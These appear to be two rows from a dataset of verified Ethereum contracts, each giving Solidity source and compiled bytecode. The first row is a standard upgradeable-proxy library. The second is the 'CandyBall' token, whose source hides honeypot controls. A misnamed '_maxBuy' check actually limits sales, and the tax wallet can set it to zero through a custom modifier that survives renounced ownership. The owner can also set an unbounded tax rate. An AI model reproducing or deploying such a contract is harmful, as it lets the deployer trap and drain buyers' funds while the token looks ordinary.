* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal view override returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(
address _logic,
address _admin,
bytes memory _data
) public payable UpgradeabilityProxy(_logic, _data) {
assert(ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061005e5760003560e01c80635c60da1b116100435780635c60da1b146101425780638f28397014610180578063f851a440146101c05761006d565b80633659cfe6146100755780634f1ef286146100b55761006d565b3661006d5761006b6101d5565b005b61006b6101d5565b34801561008157600080fd5b5061006b6004803603602081101561009857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166101ef565b61006b600480360360408110156100cb57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561010357600080fd5b82018360208201111561011557600080fd5b8035906020019184600183028401116401000000008311171561013757600080fd5b509092509050610243565b34801561014e57600080fd5b50610157610317565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018c57600080fd5b5061006b600480360360208110156101a357600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661036e565b3480156101cc57600080fd5b50610157610476565b6101dd6104c1565b6101ed6101e8610555565b61057a565b565b6101f761059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561023857610233816105c3565b610240565b6102406101d5565b50565b61024b61059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561030a57610287836105c3565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146102f1576040519150601f19603f3d011682016040523d82523d6000602084013e6102f6565b606091505b505090508061030457600080fd5b50610312565b6103126101d5565b505050565b600061032161059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c610555565b905061036b565b61036b6101d5565b90565b61037661059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102385773ffffffffffffffffffffffffffffffffffffffff8116610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806106e96036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61043e61059e565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a161023381610610565b600061048061059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103635761035c61059e565b3b151590565b6104c961059e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561054d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806106b76032913960400191505060405180910390fd5b6101ed6101ed565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e808015610599573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6105cc81610634565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61063d816104bb565b610692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061071f603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122022cc6eeb6c3362831fd9d62dc5847e66dfaf05a284d30f54c1a741bff685096b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 2,692 |
0x821b0bf9ace19044048843649e364b09811552b8
|
// SPDX-License-Identifier: MIT
// Telegram: https://t.me/Candyball
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() , "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CandyBall is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 8888888888 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxRate;
address payable private _taxWallet;
string private constant _name = "Candy Ball";
string private constant _symbol = "CANDYBALL";
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxBuy = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_taxRate = 8;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxRate(uint rate) external onlyOwner{
require(rate>=0,"Tax must be non-negative");
_taxRate=rate;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?1:0)*amount <= _maxBuy);
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
_maxBuy = _tTotal;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, 2, _taxRate);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function setMaxBuy(uint256 limit) external overridden {
_maxBuy = limit;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c9567bf911610059578063c9567bf9146102bc578063dd62ed3e146102d1578063f429389014610317578063f53bc8351461032c57600080fd5b80638da5cb5b1461022257806395d89b411461024a578063a9059cbb1461027c578063c6d69a301461029c57600080fd5b8063313ce567116100c6578063313ce567146101ba57806351bc3c85146101d657806370a08231146101ed578063715018a61461020d57600080fd5b806306fdde0314610103578063095ea7b31461014857806318160ddd1461017857806323b872dd1461019a57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600a81526910d85b991e4810985b1b60b21b60208201525b60405161013f91906112bf565b60405180910390f35b34801561015457600080fd5b50610168610163366004611329565b61034c565b604051901515815260200161013f565b34801561018457600080fd5b50640211d1ae385b60405190815260200161013f565b3480156101a657600080fd5b506101686101b5366004611355565b610363565b3480156101c657600080fd5b506040516000815260200161013f565b3480156101e257600080fd5b506101eb6103cc565b005b3480156101f957600080fd5b5061018c610208366004611396565b610405565b34801561021957600080fd5b506101eb610427565b34801561022e57600080fd5b506000546040516001600160a01b03909116815260200161013f565b34801561025657600080fd5b5060408051808201909152600981526810d05391165090531360ba1b6020820152610132565b34801561028857600080fd5b50610168610297366004611329565b6104a4565b3480156102a857600080fd5b506101eb6102b73660046113b3565b6104b1565b3480156102c857600080fd5b506101eb6104e0565b3480156102dd57600080fd5b5061018c6102ec3660046113cc565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561032357600080fd5b506101eb61085d565b34801561033857600080fd5b506101eb6103473660046113b3565b610887565b60006103593384846108a3565b5060015b92915050565b60006103708484846109c7565b6103c284336103bd856040518060600160405280602881526020016115b5602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610beb565b6108a3565b5060019392505050565b6006546001600160a01b0316336001600160a01b0316146103ec57600080fd5b60006103f730610405565b905061040281610c25565b50565b6001600160a01b03811660009081526001602052604081205461035d90610d9f565b6000546001600160a01b0316331461045a5760405162461bcd60e51b815260040161045190611405565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103593384846109c7565b6000546001600160a01b031633146104db5760405162461bcd60e51b815260040161045190611405565b600555565b6000546001600160a01b0316331461050a5760405162461bcd60e51b815260040161045190611405565b600854600160a01b900460ff16156105645760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610451565b6007546105819030906001600160a01b0316640211d1ae386108a3565b600760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f8919061143a565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561065a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067e919061143a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ef919061143a565b600880546001600160a01b0319166001600160a01b039283161790556007541663f305d719473061071f81610405565b6000806107346000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561079c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107c19190611457565b505060088054640211d1ae3860095562ff00ff60a01b1981166201000160a01b1790915560075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610839573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104029190611485565b6006546001600160a01b0316336001600160a01b03161461087d57600080fd5b4761040281610e23565b6006546001600160a01b0316331461089e57600080fd5b600955565b6001600160a01b0383166109055760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610451565b6001600160a01b0382166109665760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610451565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a2b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610451565b6001600160a01b038216610a8d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610451565b60008111610aef5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610451565b60095460085482906001600160a01b038581169116148015610b1f57506007546001600160a01b03868116911614155b610b2a576000610b2d565b60015b60ff16610b3a91906114bd565b1115610b4557600080fd5b6000546001600160a01b03848116911614801590610b7157506000546001600160a01b03838116911614155b15610bdb57600854600160a81b900460ff16158015610b9e57506008546001600160a01b03848116911614155b8015610bb35750600854600160b01b900460ff165b15610bdb57610bc9610bc430610405565b610c25565b478015610bd957610bd947610e23565b505b610be6838383610e61565b505050565b60008184841115610c0f5760405162461bcd60e51b815260040161045191906112bf565b506000610c1c84866114dc565b95945050505050565b6008805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610c6d57610c6d6114f3565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cea919061143a565b81600181518110610cfd57610cfd6114f3565b6001600160a01b039283166020918202929092010152600754610d2391309116846108a3565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d5c908590600090869030904290600401611509565b600060405180830381600087803b158015610d7657600080fd5b505af1158015610d8a573d6000803e3d6000fd5b50506008805460ff60a81b1916905550505050565b6000600354821115610e065760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610451565b6000610e10610e6c565b9050610e1c8382610e8f565b9392505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e5d573d6000803e3d6000fd5b5050565b610be6838383610ed1565b6000806000610e79610fc8565b9092509050610e888282610e8f565b9250505090565b6000610e1c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611002565b600080600080600080610ee387611030565b6001600160a01b038f16600090815260016020526040902054959b50939950919750955093509150610f15908761108c565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054610f4490866110ce565b6001600160a01b038916600090815260016020526040902055610f668161112d565b610f708483611177565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fb591815260200190565b60405180910390a3505050505050505050565b6003546000908190640211d1ae38610fe08282610e8f565b821015610ff957505060035492640211d1ae3892509050565b90939092509050565b600081836110235760405162461bcd60e51b815260040161045191906112bf565b506000610c1c848661157a565b600080600080600080600080600061104c8a600260055461119b565b925092509250600061105c610e6c565b9050600080600061106f8e8787876111f0565b919e509c509a509598509396509194505050505091939550919395565b6000610e1c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610beb565b6000806110db838561159c565b905083811015610e1c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610451565b6000611137610e6c565b905060006111458383611240565b3060009081526001602052604090205490915061116290826110ce565b30600090815260016020526040902055505050565b600354611184908361108c565b60035560045461119490826110ce565b6004555050565b60008080806111b560646111af8989611240565b90610e8f565b905060006111c860646111af8a89611240565b905060006111e0826111da8b8661108c565b9061108c565b9992985090965090945050505050565b60008080806111ff8886611240565b9050600061120d8887611240565b9050600061121b8888611240565b9050600061122d826111da868661108c565b939b939a50919850919650505050505050565b60008261124f5750600061035d565b600061125b83856114bd565b905082611268858361157a565b14610e1c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610451565b600060208083528351808285015260005b818110156112ec578581018301518582016040015282016112d0565b818111156112fe576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461040257600080fd5b6000806040838503121561133c57600080fd5b823561134781611314565b946020939093013593505050565b60008060006060848603121561136a57600080fd5b833561137581611314565b9250602084013561138581611314565b929592945050506040919091013590565b6000602082840312156113a857600080fd5b8135610e1c81611314565b6000602082840312156113c557600080fd5b5035919050565b600080604083850312156113df57600080fd5b82356113ea816113